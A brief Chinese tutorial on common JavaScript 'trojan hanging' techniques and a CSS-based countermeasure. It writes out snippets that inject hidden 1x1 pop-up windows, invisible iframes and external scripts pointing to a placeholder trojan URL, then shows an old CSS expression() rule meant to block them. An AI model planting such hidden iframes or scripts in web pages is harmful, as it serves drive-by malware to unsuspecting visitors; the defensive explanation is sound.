一、常见JS挂马方法
一种是直接将JavaScript脚本代码写在网页中,弹出小窗口隐藏运行。这种方式不常用。
window.open("http://www.domain.com/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");将“width”和“height”参数设为“0”,可能会出现恶意代码不运行的情况。
另外一种JS挂马方式是,挂马脚本代码“document.write('<Iframe src="网页木马地址" ></iframe>')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。之后在页面嵌入
<script src="http://www.domain.com/木马脚本.js"></script>或者
document.write("<div style='display:none'>") document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>") document.write("</div>")
二、防范方法
主要针对于第二种方式,通过css终止js代码运行。
在<head>和</head>中间插入css代码:
/*屏蔽script和iframe*/ <style type="text/css" id="LinrStudio"> /*<![CDATA[*/ iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');} script{ngz1:expression((this.src.indexOf('http')==0)?document.close():''); /*]]>*/ </style>
/*只屏蔽script*/ <style type="text/css" id="LinrStudio"> /*<![CDATA[*/ /*iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}*/ script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');} /*]]>*/ </style>